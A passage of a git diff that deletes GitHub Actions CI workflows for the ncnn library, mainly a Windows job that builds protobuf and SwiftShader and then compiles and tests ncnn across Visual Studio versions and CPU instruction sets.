-DNCNN_BUILD_TESTS=ON -DNCNN_VULKAN=OFF -G "MinGW Makefiles" .. - cmake --build . --config Release -j 4 - - name: x64-test - run: cd build-x64; ctest -C Release --output-on-failure -j 4 - - - name: x64-vulkan - run: | - mkdir build-x64-vulkan; cd build-x64-vulkan - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DNCNN_VULKAN=ON -DNCNN_SHARED_LIB=ON -G "MinGW Makefiles" .. - cmake --build . --config Release -j 4 diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml deleted file mode 100644 index d099290a316c..000000000000 --- a/.github/workflows/windows.yml +++ /dev/null @@ -1,146 +0,0 @@ -name: windows -on: - push: - branches: [master] - paths: - - '.github/workflows/windows.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/windows.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' -concurrency: - group: windows-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - windows-gpu: - name: ${{ matrix.vs-version }} - runs-on: ${{ matrix.os }} - strategy: - matrix: - include: - - vs-version: vs2015 - toolset-version: v140 - os: windows-2019 - - - vs-version: vs2017 - toolset-version: v141 - os: windows-2019 - - - vs-version: vs2019 - toolset-version: v142 - os: windows-2022 - - - vs-version: vs2022 - toolset-version: v143 - os: windows-2022 - - env: - UseMultiToolTask: true - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: cache-protobuf - id: cache-protobuf - uses: actions/cache@v4 - with: - path: "protobuf-install" - key: protobuf-${{ matrix.vs-version }}-x64-install-2 - - name: protobuf - if: steps.cache-protobuf.outputs.cache-hit != 'true' - run: | - Invoke-WebRequest -Uri https://github.com/protocolbuffers/protobuf/archive/v3.11.2.zip -OutFile protobuf-3.11.2.zip - 7z x ./protobuf-3.11.2.zip - cd protobuf-3.11.2 - mkdir build-${{ matrix.vs-version }}; cd build-${{ matrix.vs-version }}; cmake -T ${{ matrix.toolset-version }},host=x64 -A x64 -DCMAKE_INSTALL_PREFIX="$env:GITHUB_WORKSPACE\protobuf-install" -Dprotobuf_BUILD_TESTS=OFF -Dprotobuf_MSVC_STATIC_RUNTIME=OFF -DNCNN_BUILD_TESTS=ON ../cmake - cmake --build . --config Release -j 4 - cmake --build . --config Release --target install - - name: cache-swiftshader - if: matrix.vs-version != 'vs2015' && matrix.vs-version != 'vs2017' - id: cache-swiftshader - uses: actions/cache@v4 - with: - path: swiftshader-install - key: swiftshader-${{ matrix.vs-version }}-x64-install-20240622 - - name: checkout-swiftshader - if: matrix.vs-version != 'vs2015' && matrix.vs-version != 'vs2017' && steps.cache-swiftshader.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: google/swiftshader - path: swiftshader - ref: de870ac7518fe2b6bb651ecc22fc36647cf7b986 - - name: checkout-swiftshader-submodules - if: matrix.vs-version != 'vs2015' && matrix.vs-version != 'vs2017' && steps.cache-swiftshader.outputs.cache-hit != 'true' - run: | - cd swiftshader - git -c submodule."third_party/git-hooks".update=none submodule update --init --recursive - - name: swiftshader - if: matrix.vs-version != 'vs2015' && matrix.vs-version != 'vs2017' && steps.cache-swiftshader.outputs.cache-hit != 'true' - run: | - cd swiftshader - mkdir build-${{ matrix.vs-version }}; cd build-${{ matrix.vs-version }} - cmake -T ${{ matrix.toolset-version }},host=x64 -A x64 -DCMAKE_INSTALL_PREFIX=install -DSWIFTSHADER_BUILD_EGL=FALSE -DSWIFTSHADER_BUILD_GLESv2=FALSE -DSWIFTSHADER_BUILD_GLES_CM=FALSE -DSWIFTSHADER_BUILD_VULKAN=TRUE -DSWIFTSHADER_BUILD_PVR=FALSE -DSWIFTSHADER_BUILD_TESTS=FALSE -DSWIFTSHADER_ENABLE_ASTC=FALSE -DSWIFTSHADER_WARNINGS_AS_ERRORS=FALSE -DREACTOR_BACKEND=Subzero -DREACTOR_DEFAULT_OPT_LEVEL=Default -DCMAKE_BUILD_TYPE=Release .. - cmake --build . --config Release -j 4 - mkdir "$env:GITHUB_WORKSPACE/swiftshader-install" - Copy-Item -Path "Windows\*" -Destination "$env:GITHUB_WORKSPACE\swiftshader-install" - - - name: x64 - run: | - mkdir build-x64; cd build-x64 - cmake -T ${{ matrix.toolset-version }},host=x64 -A x64 -Dprotobuf_DIR="$env:GITHUB_WORKSPACE\protobuf-install\cmake" -DNCNN_VULKAN=ON -DNCNN_BUILD_TESTS=ON .. - cmake --build . --config Release -j 4 - - name: x64-test - if: matrix.vs-version != 'vs2015' && matrix.vs-version != 'vs2017' - run: | - echo "[Processor]`nThreadCount=1`n" > build-x64/tests/Release/SwiftShader.ini - Copy-Item -Path "$env:GITHUB_WORKSPACE\swiftshader-install\vulkan-1.dll" -Destination 'build-x64\tests' - cd build-x64; ctest -C Release --output-on-failure -j 4 - - - name: x64-sse2 - run: | - mkdir build-x64-sse2; cd build-x64-sse2 - cmake -T ${{ matrix.toolset-version }},host=x64 -A x64 -DNCNN_RUNTIME_CPU=OFF -DNCNN_XOP=OFF -DNCNN_AVX=OFF -DNCNN_AVX2=OFF -DNCNN_AVX512=OFF -DNCNN_BUILD_TESTS=ON -DNCNN_DISABLE_RTTI=ON -DNCNN_DISABLE_EXCEPTION=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . --config Release -j 4 - - name: x64-sse2-test - run: cd build-x64-sse2; ctest -C Release --output-on-failure -j 4 - - - name: x64-avx - run: | - mkdir build-x64-avx; cd build-x64-avx - cmake -T ${{ matrix.toolset-version }},host=x64 -A x64 -DNCNN_RUNTIME_CPU=OFF -DNCNN_XOP=OFF -DNCNN_AVX=ON -DNCNN_AVX2=OFF -DNCNN_AVX512=OFF -DNCNN_BUILD_TESTS=ON -DNCNN_DISABLE_RTTI=ON -DNCNN_DISABLE_EXCEPTION=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . --config Release -j 4 - - name: x64-avx-test - run: cd build-x64-avx; ctest -C Release --output-on-failure -j 4 - - - name: x86 - run: | - mkdir build-x86; cd build-x86 - cmake -T ${{ matrix.toolset-version }},host=x64 -A Win32 -DNCNN_SHARED_LIB=ON -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . --config Release -j 4 - - name: x86-test - run: | - Copy-Item -Path "build-x86\src\Release\ncnn.dll" -Destination 'build-x86\tests' - cd build-x86; ctest -C Release --output-on-failure -j 4